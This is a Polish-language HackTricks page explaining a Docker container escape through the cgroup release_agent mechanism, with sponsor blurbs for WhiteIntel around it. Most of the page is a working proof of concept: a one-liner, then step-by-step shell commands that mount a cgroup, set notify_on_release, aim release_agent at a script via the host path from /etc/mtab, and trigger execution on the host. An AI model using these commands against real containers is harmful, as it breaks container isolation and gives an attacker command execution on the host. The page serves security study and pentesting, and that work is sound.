Docker release_agent cgroups escape

Wesprzyj HackTricks

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące dane.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za darmo na:


Aby uzyskać więcej szczegółów, zajrzyj do oryginalnego posta na blogu. To tylko streszczenie:

Początkowy PoC:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

Dowód koncepcji (PoC) demonstruje metodę wykorzystania cgroups poprzez utworzenie pliku release_agent i wywołanie go w celu wykonania dowolnych poleceń na hoście kontenera. Oto podział kroków zaangażowanych:

  1. Przygotuj środowisko:

  • Utwórz katalog /tmp/cgrp jako punkt montowania dla cgroup.

  • Kontroler cgroup RDMA jest montowany do tego katalogu. W przypadku braku kontrolera RDMA zaleca się użycie kontrolera cgroup memory jako alternatywy.

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. Skonfiguruj podrzędny Cgroup:

  • Wewnątrz zamontowanego katalogu cgroup tworzony jest podrzędny cgroup o nazwie "x".

  • Włączone są powiadomienia dla cgroup "x", poprzez zapisanie wartości 1 do pliku notify_on_release.

echo 1 > /tmp/cgrp/x/notify_on_release
  1. Skonfiguruj agenta wydania:

  • Ścieżka kontenera na hoście jest pobierana z pliku /etc/mtab.

  • Następnie plik release_agent cgroup jest skonfigurowany do wykonania skryptu o nazwie /cmd znajdującego się w uzyskanej ścieżce hosta.

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. Utwórz i skonfiguruj skrypt /cmd:

  • Skrypt /cmd jest tworzony wewnątrz kontenera i skonfigurowany do wykonania polecenia ps aux, przekierowując wynik do pliku o nazwie /output w kontenerze. Określona jest pełna ścieżka /output na hoście.

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. Wywołaj atak:

  • Proces zostaje uruchomiony w obrębie grupy potomnej "x" i natychmiast zostaje zakończony.

  • To powoduje uruchomienie release_agent (skryptu /cmd), który wykonuje polecenie ps aux na hoście i zapisuje wynik do /output wewnątrz kontenera.

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzenia, czy firma lub jej klienci nie zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

Wesprzyj HackTricks

Last updated